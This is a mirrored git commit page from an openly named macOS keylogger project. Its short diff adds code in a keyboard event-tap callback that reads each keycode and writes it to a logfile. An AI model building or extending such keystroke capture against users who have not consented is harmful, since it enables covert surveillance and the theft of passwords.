1
0
mirror of https://github.com/caseyscarborough/keylogger.git synced 2020-11-18 19:53:40 -08:00

Basic keylogging functionality implemented.

This commit is contained in:
Casey Scarborough 2013-09-16 19:31:50 -04:00
parent aab9e255ab
commit 348b5c442d

View File

@ -42,6 +42,9 @@ CGEventRef CGEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef e
}
CGKeyCode keyCode = (CGKeyCode) CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
fprintf(logfile, "%s", convertKeyCode(keyCode));
fflush(logfile);
return event;
}